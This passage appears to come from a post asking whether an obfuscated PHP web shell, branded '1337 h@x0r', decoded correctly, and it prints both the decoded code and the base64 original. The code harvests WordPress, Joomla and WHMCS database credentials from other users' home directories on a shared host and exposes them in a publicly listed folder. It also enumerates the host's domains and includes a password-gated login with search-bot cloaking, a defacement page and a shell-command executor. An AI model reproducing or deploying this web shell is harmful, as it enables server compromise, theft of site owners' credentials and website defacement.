            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/main/wp-config.php\')) {
                $content17 = file_get_contents(\'/home/\' . $lol . \'/public_html/main/wp-config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content17 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/site/wp-config.php\')) {
                $content18 = file_get_contents(\'/home/\' . $lol . \'/public_html/site/wp-config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content18 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/configuration.php\')) {
                $content19 = file_get_contents(\'/home/\' . $lol . \'/public_html/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content19 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/blog/configuration.php\')) {
                $content20 = file_get_contents(\'/home/\' . $lol . \'/public_html/blog/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content20 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/joomla/configuration.php\')) {
                $content21 = file_get_contents(\'/home/\' . $lol . \'/public_html/joomla/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content21 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/main/configuration.php\')) {
                $content22 = file_get_contents(\'/home/\' . $lol . \'/public_html/main/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content22 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/home/configuration.php\')) {
                $content23 = file_get_contents(\'/home/\' . $lol . \'/public_html/home/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content23 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/site/configuration.php\')) {
                $content24 = file_get_contents(\'/home/\' . $lol . \'/public_html/site/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content24 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/whm/configuration.php\')) {
                $content25 = file_get_contents(\'/home/\' . $lol . \'/public_html/whm/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content25 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/whmc/configuration.php\')) {
                $content26 = file_get_contents(\'/home/\' . $lol . \'/public_html/whmc/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content26 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/support/configuration.php\')) {
                $content27 = file_get_contents(\'/home/\' . $lol . \'/public_html/support/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content27 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/client/configuration.php\')) {
                $content28 = file_get_contents(\'/home/\' . $lol . \'/public_html/client/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content28 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/billings/configuration.php\')) {
                $content29 = file_get_contents(\'/home/\' . $lol . \'/public_html/billings/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content29 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/billing/configuration.php\')) {
                $content30 = file_get_contents(\'/home/\' . $lol . \'/public_html/billing/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content30 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/clients/configuration.php\')) {
                $content31 = file_get_contents(\'/home/\' . $lol . \'/public_html/clients/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content31 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/whmcs/configuration.php\')) {
                $content32 = file_get_contents(\'/home/\' . $lol . \'/public_html/whmcs/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content32 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/order/configuration.php\')) {
                $content33 = file_get_contents(\'/home/\' . $lol . \'/public_html/order/configuration.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content33 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/admin/conf.php\')) {
                $content34 = file_get_contents(\'/home/\' . $lol . \'/public_html/admin/conf.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content34 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/admin/config.php\')) {
                $content35 = file_get_contents(\'/home/\' . $lol . \'/public_html/admin/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content35 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/conf_global.php\')) {
                $content36 = file_get_contents(\'/home/\' . $lol . \'/public_html/conf_global.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content36 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/include/db.php\')) {
                $content37 = file_get_contents(\'/home/\' . $lol . \'/public_html/include/db.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content37 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/connect.php\')) {
                $content38 = file_get_contents(\'/home/\' . $lol . \'/public_html/connect.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content38 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/mk_conf.php\')) {
                $content39 = file_get_contents(\'/home/\' . $lol . \'/public_html/mk_conf.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content39 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/include/config.php\')) {
                $content40 = file_get_contents(\'/home/\' . $lol . \'/public_html/include/config.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content40 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/settings.php\')) {
                $content41 = file_get_contents(\'/home/\' . $lol . \'/public_html/settings.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content41 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/includes/functions.php\')) {
                $content42 = file_get_contents(\'/home/\' . $lol . \'/public_html/includes/functions.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content42 . $space);
                fclose($handle);
            } elseif (file_exists(\'/home/\' . $lol . \'/public_html/include/db.php\')) {
                $content43 = file_get_contents(\'/home/\' . $lol . \'/public_html/include/db.php\');
                $handle = fopen(\'pca/config.txt\', \'a\');
                fwrite($handle, $content43 . $space);
                fclose($handle);
            }
        }
        $url = \'http://\' . $_SERVER[\'SERVER_NAME\'] . dirname($_SERVER[\'SCRIPT_NAME\']) . \'pca/\';
        if (file_exists("pca/config.txt")) {
            echo \'<h3 class="pca"><center><a href="\' . $url . \'" target="_blank"> Config Found ^_^</a></h3>\';
			$myfile = fopen("pca/.htaccess", "w") or die("Unable to open file!");
$txt = "Options +Indexes";
fwrite($myfile, $txt);
fclose($myfile);
        } else {
            echo \'<h3 class="pca"><center><a href="\' . $url . \'" target="_blank"> 0 Config Grab :( </a></h3>\';
        }
	
    printFooter();
}

function actionShared() {
    printHeader();
	$file = @implode(@file("/etc/named.conf"));
if (!$file) {
die("# can\'t ReaD -> [ /etc/named.conf ]");
}
preg_match_all("#named/(.*?).db#", $file, $r);
$domains = array_unique($r[1]);
{
foreach ($domains as $domain) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
$array= "http://$domain " . $user[\'name\'] . "<br>";
$lol= \'\' . get_current_user();
if (strpos($array, "$lol") !== false) {
$shared = str_replace(array(" $lol"), "", $array);
echo "<center>$shared";	
}
}
}
	printFooter();
}
function actionTesting() {
    printHeader();
	
	printFooter();
}

if( empty($_POST[\'a\']) )
    if(isset($default_action) && function_exists(\'action\' . $default_action))
        $_POST[\'a\'] = $default_action;
    else
        $_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
    call_user_func(\'action\' . $_POST[\'a\'])
?>'

Did this file decode correctly?

Original Code

<?php 
$auth_pass = "bacc600034a240d20c6ab99a989d793d";
eval("?>".base64_decode('PD9waHAKJGNvbG9yID0gIiNhM2U5NTYiOwokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7CmlmKCBzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdHb29nbGUnKSAhPT0gZmFsc2UgKSB7CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKICAgIGV4aXQ7Cn0KQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRlZmluZSgnVkVSU0lPTicsICdWZXIgMy4wJyk7CmlmKCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpICkgewogICAgZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2FycmF5KCRhcnJheSkgewogICAgICAgIHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7CiAgICB9CiAgICAkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsKfQpmdW5jdGlvbiBwcmludExvZ2luKCkgewogICAgZWNobyAnPHRpdGxlPkhhY2tlZCBieSAxMzM3IGhAeDByPC90aXRsZT4KPGF1ZGlvIGxvb3AgYXV0b3BsYXk+PHNvdXJjZSBzcmM9Imh0dHA6Ly94LXNvbmdzLnBrL3BrLW1wMy9hc3Jhci1tYWluLXBha2lzdGFuLWhvb24vdjc5ODc2MTk5M181NjM3ODIwMDAyLm1wMyIgdHlwZT0iYXVkaW8vbXBlZyI+PC9hdWRpbz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPiAKPHN0eWxlPgpAaW1wb3J0IHVybChodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnM6NSk7Ci50ZXh0IHsKZmlsbDogbm9uZTsKc3Ryb2tlLXdpZHRoOiAyOwpzdHJva2UtbGluZWpvaW46IHJvdW5kOwpzdHJva2UtZGFzaGFycmF5OiAxMDAgMzMwOwpzdHJva2UtZGFzaG9mZnNldDogMDsKLXdlYmtpdC1hbmltYXRpb246IHN0cm9rZSA2cyBpbmZpbml0ZSBsaW5lYXI7CmFuaW1hdGlvbjogc3Ryb2tlIDZzIGluZmluaXRlIGxpbmVhcjsKfQoudGV4dDpudGgtY2hpbGQoNW4gKyAxKSB7CnN0cm9rZTogI0YyMzg1QTsKLXdlYmtpdC1hbmltYXRpb24tZGVsYXk6IC0xLjJzOwphbmltYXRpb24tZGVsYXk6IC0xLjJzOwp9Ci50ZXh0Om50aC1jaGlsZCg1biArIDIpIHsKc3Ryb2tlOiAjRjVBNTAzOwotd2Via2l0LWFuaW1hdGlvbi1kZWxheTogLTIuNHM7CmFuaW1hdGlvbi1kZWxheTogLTIuNHM7Cn0KLnRleHQ6bnRoLWNoaWxkKDVuICsgMykgewpzdHJva2U6ICNFOUYxREY7Ci13ZWJraXQtYW5pbWF0aW9uLWRlbGF5OiAtMy42czsKYW5pbWF0aW9uLWRlbGF5OiAtMy42czsKfQoudGV4dDpudGgtY2hpbGQoNW4gKyA0KSB7CnN0cm9rZTogIzU2RDlDRDsKLXdlYmtpdC1hbmltYXRpb24tZGVsYXk6IC00LjhzOwphbmltYXRpb24tZGVsYXk6IC00LjhzOwp9Ci50ZXh0Om50aC1jaGlsZCg1biArIDUpIHsKc3Ryb2tlOiAjM0FBMUJGOwotd2Via2l0LWFuaW1hdGlvbi1kZWxheTogLTZzOwphbmltYXRpb24tZGVsYXk6IC02czsKfQpALXdlYmtpdC1rZXlmcmFtZXMgc3Ryb2tlIHsKMTAwJSB7CnN0cm9rZS1kYXNob2Zmc2V0OiAtNDAwOwp9Cn0KQGtleWZyYW1lcyBzdHJva2UgewoxMDAlIHsKc3Ryb2tlLWRhc2hvZmZzZXQ6IC00MDA7Cn0KfQpodG1sLCBib2R5IHsKfQpib2R5IHsKYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7CmZvbnQ6IDUuMWVtLzEgT3BlbiBTYW5zLCBJbXBhY3Q7CnRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7Cn0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPHN2ZyB2aWV3Qm94PSIwIDAgMTAwMCAzMDAiPgo8c3ltYm9sIGlkPSJzLXRleHQiPgo8dGV4dCB0ZXh0LWFuY2hvcj0ibWlkZGxlIiB4PSI1MCUiIHk9IjUwJSIgZHk9Ii41ZW0iPgpIYWNrZWQgQnkgMTMzNyBoQHgwcgo8L3RleHQ+Cjwvc3ltYm9sPgo8dXNlIHhsaW5rOmhyZWY9IiNzLXRleHQiIGNsYXNzPSJ0ZXh0Igo+PC91c2U+Cjx1c2UgeGxpbms6aHJlZj0iI3MtdGV4dCIgY2xhc3M9InRleHQiCj48L3VzZT4KPHVzZSB4bGluazpocmVmPSIjcy10ZXh0IiBjbGFzcz0idGV4dCIKPjwvdXNlPgo8dXNlIHhsaW5rOmhyZWY9IiNzLXRleHQiIGNsYXNzPSJ0ZXh0Igo+PC91c2U+Cjx1c2UgeGxpbms6aHJlZj0iI3MtdGV4dCIgY2xhc3M9InRleHQiCj48L3VzZT4KPHN0eWxlPmlucHV0IHsgbWFyZ2luOjU7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JvcmRlcjpub25lO2NvbG9yOiMwMDAwOyBjdXJzb3I6YXJyb3c7IH08L3N0eWxlPgogICAgICAgICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PC9mb3JtPic7CiAgICBleGl0Owp9CmlmKCAhaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkKICAgIGlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8CiAgICAgICAgKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcyApICkgKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOwogICAgZWxzZQogICAgICAgIHByaW50TG9naW4oKTsKaWYoIHN0cnRvbG93ZXIoIHN1YnN0cihQSFBfT1MsMCwzKSApID09ICJ3aW4iICkKICAgICRvcyA9ICd3aW4nOwplbHNlCiAgICAkb3MgPSAnbml4JzsKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoIGlzc2V0KCAkX1BPU1RbJ2MnXSApICkKICAgIEBjaGRpcigkX1BPU1RbJ2MnXSk7CiRjd2QgPSBAZ2V0Y3dkKCk7CmlmKCAkb3MgPT0gJ3dpbicpIHsKICAgICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsKICAgICRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOwp9CmlmKCAkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycgKQogICAgJGN3ZCAuPSAnLyc7CmlmKCRvcyA9PSAnd2luJykgewogICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAiTWFzcyBEZWZhY2UiID0+ICdmb3IgL3IgIiVjZCUiICVpIGluICguKSBkbyBAY29weSAiJWNkJVxwY2EuaHRtbCIgIiVpIicsCiAgICAgICAgIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsCiAgICAgICAgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgICAgICJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgICAgICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKICAgICAgICAiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCiAgICApOwp9IGVsc2UgewogICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAgICJMaXN0IGRpciIgPT4gImxzIC1sYSIsCiAgICAgICAgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgICAgICAgICAic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKICAgICAgICAiRmluZCIgPT4gIiIsCiAgICAgICAgICAiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogICAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogICAgICAgICAgImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLAogICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLAogICAgICAgICAgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogICAgICAgICAgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgICAgICAgICAiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAgICAgICAgICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgICAgICAgICAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogICAgICAgICAgImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogICAgICAgICAgImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCiAgICAgICAgICAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogICAgICAgICJMb2NhdGUiID0+ICIiLAogICAgICAgICAgImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLAogICAgICAgICJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLAogICAgICAgICJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsCiAgICAgICAgImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsCiAgICAgICAgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLAogICAgICAgICJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwKICAgICAgICAibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLAogICAgICAgICJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsCiAgICAgICAgImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsCiAgICAgICAgImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsCiAgICAgICAgImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsCiAgICAgICAgImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLAogICAgICAgICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLAogICAgICAgICJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsCiAgICAgICAgImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLAogICAgICAgICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsCiAgICAgICAgImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLAogICAgICAgICJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IiAgICAKICAgICk7Cn0KZnVuY3Rpb24gZXgoJGluKSB7CiAgICAkb3V0ID0gJyc7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRpbiwkb3V0KTsKICAgICAgICAkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBAcGFzc3RocnUoJGluKTsKICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGluKTsKICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKICAgIH1lbHNlaWYoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7CiAgICAgICAgJG91dCA9ICIiOwogICAgICAgIHdoaWxlKCFAZmVvZigkZikpCiAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7CiAgICAgICAgcGNsb3NlKCRmKTsKICAgIH0KICAgIHJldHVybiAkb3V0Owp9CmZ1bmN0aW9uIHdoaWNoKCRwKSB7CiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsKICAgIGlmKCFlbXB0eSgkcGF0aCkpCiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIHByaW50SGVhZGVyKCkgewogICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQogICAgICAgICRfUE9TVFsnY2hhcnNldCddID0gIlVURi04IjsKICAgIGdsb2JhbCAkY29sb3I7CiAgICBlY2hvICc8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT4xMzM3IGhAeDByICcuVkVSU0lPTi4nPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHtiYWNrZ3JvdW5kOnVybChodHRwOi8vaS5pbWd1ci5jb20vOU5FY3dzTC5naWYpO2NvbG9yOiMwMEMwMDA7fQogICAgICAgIGJvZHksdGQsdGggICAgeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wOyB9CiAgICAgICAgc3BhbixoMSxhICAgIHsgY29sb3I6Jy4kY29sb3IuJyAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbiAgICAgICAgeyBmb250LXdlaWdodDogYm9sZGVyOyB9CiAgICAgICAgaDEgICAgICAgICAgICB7IHBhZGRpbmc6IDJweCA1cHg7Zm9udDogMTRwdCBWZXJkYW5hO21hcmdpbjowcHggMCAwIDVweDsgfQogICAgICAgIGRpdi5jb250ZW50ICAgIHsgcGFkZGluZzogNXB4O21hcmdpbjowIDVweDtiYWNrZ3JvdW5kOiAjMDAwMDAwO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNhM2U5NTY7fQogICAgICAgIGEgICAgICAgICAgICB7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlciAgICAgICAgeyAvKmJhY2tncm91bmQ6YXF1YTsqLyB9CiAgICAgICAgLm1sMSAgICAgICAgeyBib3JkZXI6MXB4IHNvbGlkICNhM2U5NTY7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0KICAgICAgICAuYmlnYXJlYSAgICB7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4O21hcmdpbi10b3A6NXB4O30KICAgICAgICBpbnB1dCwgd